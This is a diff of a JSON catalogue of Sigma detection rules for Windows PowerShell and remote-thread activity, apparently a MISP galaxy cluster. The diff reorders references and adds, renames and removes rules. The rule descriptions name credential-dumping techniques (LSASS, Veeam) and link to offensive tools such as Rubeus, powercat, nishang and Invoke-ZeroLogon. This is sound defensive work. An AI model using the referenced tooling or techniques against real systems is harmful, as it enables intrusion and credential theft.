(Nextron Systems)", + "creation_date": "2023/05/05", + "falsepositive": [ + "The same functionality can be implemented by admin scripts, correlate with name and creator" + ], + "filename": "posh_ps_resolve_list_of_ip_from_file.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", + "https://www.fortypoundhead.com/showcontent.asp?artid=24022", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_resolve_list_of_ip_from_file.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ] + }, + "related": [ + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "fbc5e92f-3044-4e73-a5c6-1c4359b539de", + "value": "PowerShell Script With File Hostname Resolving Capabilities" + }, { "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", "meta": { @@ -28248,8 +27965,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.powershellgallery.com/packages/DSInternals", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount", + "https://www.powershellgallery.com/packages/DSInternals", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml" ], "tags": [ @@ -28324,8 +28041,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", "https://adsecurity.org/?p=2604", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml" ], @@ -28521,39 +28238,6 @@ "uuid": "a5a30a6e-75ca-4233-8b8c-42e0f2037d3b", "value": "Invoke-Obfuscation Via Use Rundll32 - PowerShell" }, - { - "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", - "meta": { - "author": "frack113", - "creation_date": "2021/08/18", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_trigger_profiles.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_trigger_profiles.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546.013" - ] - }, - "related": [ - { - "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "05b3e303-faf0-4f4a-9b30-46cc13e69152", - "value": "Powershell Trigger Profiles by Add_Content" - }, { "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", "meta": { @@ -28675,8 +28359,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package", "https://twitter.com/WindowsDocs/status/1620078135080325122", + "https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_install_unsigned_appx_packages.yml" ], "tags": [ @@ -28866,8 +28550,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/JohnLaTwC/status/850381440629981184", "https://t.co/ezOTGy1a1G", + "https://twitter.com/JohnLaTwC/status/850381440629981184", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml" ], "tags": [ @@ -28935,8 +28619,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", "https://twitter.com/NathanMcNulty/status/1569497348841287681", + "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml" ], "tags": [ @@ -29101,8 +28785,8 @@ "logsource.product": "windows", "refs": [ "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges", - "https://github.com/samratashok/ADModule", "https://twitter.com/cyb3rops/status/1617108657166061568?s=20", + "https://github.com/samratashok/ADModule", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_active_directory_module_dll_import.yml" ], "tags": [ @@ -29196,8 +28880,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windows_optional_feature.yml" ], "tags": [ @@ -29416,8 +29100,8 @@ "logsource.product": "windows", "refs": [ "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender.yml" ], "tags": [ @@ -29770,8 +29454,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting", + "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml" ], "tags": [ @@ -29939,8 +29623,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml" ], "tags": [ @@ -29994,6 +29678,30 @@ "uuid": "afd12fed-b0ec-45c9-a13d-aa86625dac81", "value": "Create Volume Shadow Copy with Powershell" }, + { + "description": "Detects execution of a PowerShell script that contains calls to the \"Veeam.Backup\" class, in order to dump stored credentials.", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/05/04", + "falsepositive": [ + "Administrators backup scripts (must be investigated)" + ], + "filename": "posh_ps_veeam_credential_dumping_script.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://www.pwndefend.com/2021/02/15/retrieving-passwords-from-veeam-backup-servers/", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_veeam_credential_dumping_script.yml" + ], + "tags": [ + "attack.credential_access" + ] + }, + "uuid": "976d6e6f-a04b-4900-9713-0134a353e38b", + "value": "Veeam Backup Servers Credential Dumping Script Execution" + }, { "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", "meta": { @@ -30007,8 +29715,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml" ], "tags": [ @@ -30064,9 +29772,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/oroneequalsone/status/1568432028361830402", "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", + "https://twitter.com/oroneequalsone/status/1568432028361830402", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml" ], "tags": [ @@ -30186,9 +29894,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", - "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml" ], "tags": [ @@ -30256,8 +29964,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml" ], "tags": [ @@ -30323,8 +30031,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml" ], "tags": [ @@ -30357,8 +30065,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_discovery_get_aduser.yml" ], "tags": [ @@ -30628,8 +30336,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml" ], "tags": [ @@ -30759,15 +30467,15 @@ "value": "Suspicious Mount-DiskImage" }, { - "description": "Detects keywords that could indicate the use of some PowerShell exploitation framework", + "description": "Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework", "meta": { - "author": "Florian Roth (Nextron Systems), Perez Diego (@darkquassar)", + "author": "Florian Roth (Nextron Systems), Perez Diego (@darkquassar), Tuan Le (NCSGroup)", "creation_date": "2019/02/11", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_keywords.yml", - "level": "high", + "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ @@ -30792,7 +30500,7 @@ } ], "uuid": "1f49f2ab-26bc-48b3-96cc-dcffbc93eadf", - "value": "Suspicious PowerShell Keywords" + "value": "Potential Suspicious PowerShell Keywords" }, { "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data", @@ -30841,8 +30549,8 @@ "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/wsl/install-on-server", - "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system", "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_susp_windows_optional_feature.yml" ], "tags": [ @@ -30898,8 +30606,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", "https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml" ], "tags": [ @@ -30932,8 +30640,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml" ], "tags": [ @@ -31108,8 +30816,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_export_pfxcertificate.yml" ], "tags": [ @@ -31208,10 +30916,10 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/ScumBots/status/1610626724257046529", - "https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bcc28a4f456e200486dbd401b25af6da3b4da62/content", - "https://learn.microsoft.com/en-us/dotnet/api/system.windows.input.keyboard.iskeydown?view=windowsdesktop-7.0", "https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9c81655093be93876e0d80732e7eeaf7d83476/content", + "https://twitter.com/ScumBots/status/1610626724257046529", + "https://learn.microsoft.com/en-us/dotnet/api/system.windows.input.keyboard.iskeydown?view=windowsdesktop-7.0", + "https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bcc28a4f456e200486dbd401b25af6da3b4da62/content", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keylogger_activity.yml" ], "tags": [ @@ -31345,8 +31053,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57", "https://learn.microsoft.com/en-us/dotnet/api/system.type.gettypefromclsid?view=net-7.0", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_download_com_cradles.yml" ], "tags": "No established tags" @@ -31409,19 +31117,22 @@ "logsource.product": "windows", "refs": [ "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", - "https://github.com/calebstewart/CVE-2021-1675", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/HarmJ0y/DAMP", - "https://github.com/samratashok/nishang", - "https://github.com/DarkCoderSc/PowerRunAsSystem/", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/besimorhino/powercat", - "https://adsecurity.org/?p=2921", - "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://github.com/adrecon/ADRecon", + "https://github.com/HarmJ0y/DAMP", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/calebstewart/CVE-2021-1675", + "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://github.com/samratashok/nishang", + "https://github.com/besimorhino/powercat", + "https://adsecurity.org/?p=2921", + "https://github.com/Kevin-Robertson/Powermad", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/DarkCoderSc/PowerRunAsSystem/", + "https://github.com/adrecon/AzureADRecon", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml" ], @@ -31554,9 +31265,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.shellhacks.com/clear-history-powershell/", - "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", + "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", + "https://www.shellhacks.com/clear-history-powershell/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml" ], "tags": [ @@ -31584,6 +31295,58 @@ "uuid": "bde47d4b-9987-405c-94c7-b080410e8ea7", "value": "Clearing Windows Console History" }, + { + "description": "Detects the execution of the hacktool Rubeus using specific command line flags", + "meta": { + "author": "Christian Burkard (Nextron Systems), Florian Roth (Nextron Systems)", + "creation_date": "2023/04/27", + "falsepositive": [ + "Unlikely" + ], + "filename": "posh_ps_hktl_rubeus.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", + "https://github.com/GhostPack/Rubeus", + "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hktl_rubeus.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1558.003", + "attack.lateral_movement", + "attack.t1550.003" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "3245cd30-e015-40ff-a31d-5cadd5f377ec", + "value": "HackTool - Rubeus Execution - ScriptBlock" + }, { "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", "meta": { @@ -31705,8 +31468,8 @@ "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42", "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_x509enrollment.yml" ], "tags": "No established tags" @@ -31969,8 +31732,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md", "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml" ], "tags": [ @@ -31990,41 +31753,6 @@ "uuid": "9e07f6e7-83aa-45c6-998e-0af26efd0a85", "value": "Powershell WMI Persistence" }, - { - "description": "Detects the use of various web request POST or PUT methods (including aliases) via Windows PowerShell command", - "meta": { - "author": "frack113", - "creation_date": "2022/01/07", - "falsepositive": [ - "Legitimate script" - ], - "filename": "posh_ps_upload.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_upload.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ] - }, - "related": [ - { - "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "d2e3f2f6-7e09-4bf2-bc5d-90186809e7fb", - "value": "Windows PowerShell Upload Web Request" - }, { "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n", "meta": { @@ -32309,6 +32037,41 @@ "uuid": "86b896ba-ffa1-4fea-83e3-ee28a4c915c7", "value": "Invoke-Obfuscation Via Stdin - Powershell" }, + { + "description": "Detects PowerShell scripts leveraging the \"Invoke-WebRequest\" cmdlet to send data via either \"PUT\" or \"POST\" method.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/07", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_script_with_upload_capabilities.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2", + "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_script_with_upload_capabilities.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ] + }, + "related": [ + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "d2e3f2f6-7e09-4bf2-bc5d-90186809e7fb", + "value": "PowerShell Script With File Upload Capabilities" + }, { "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "meta": { @@ -32375,40 +32138,6 @@ "uuid": "db809f10-56ce-4420-8c86-d6a7d793c79c", "value": "Potential Defense Evasion Via Raw Disk Access By Uncommon Tools" }, - { - "description": "Detects a possible remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", - "meta": { - "author": "Olaf Hartong, Florian Roth (Nextron Systems), Aleksey Potapov, oscd.community", - "creation_date": "2018/11/30", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_cobaltstrike_process_injection.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f", - "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cobaltstrike_process_injection.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.001" - ] - }, - "related": [ - { - "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "6309645e-122d-4c5b-bb2b-22e4f9c2fa42", - "value": "CobaltStrike Process Injection" - }, { "description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.\nThe process in field Process is the malicious program. A single execution can lead to hundreds of events.\n", "meta": { @@ -32443,6 +32172,40 @@ "uuid": "f239b326-2f41-4d6b-9dfa-c846a60ef505", "value": "Password Dumper Remote Thread in LSASS" }, + { + "description": "Detects uncommon target processes for remote thread creation", + "meta": { + "author": "Florian Roth (Nextron Systems)", + "creation_date": "2022/03/16", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_uncommon_target_image.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_uncommon_target_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.003" + ] + }, + "related": [ + { + "dest-uuid": "41d9846c-f6af-4302-a654-24bba2729bc6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "a1a144b7-5c9b-4853-a559-2172be8d4a03", + "value": "Remote Thread Creation In Uncommon Target Image" + }, { "description": "Detects the creation of a remote thread from a Powershell process in a rundll32 process", "meta": { @@ -32451,13 +32214,13 @@ "falsepositive": [ "Unknown" ], - "filename": "create_remote_thread_win_powershell_crt_rundll32.yml", + "filename": "create_remote_thread_win_powershell_susp_targets.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ 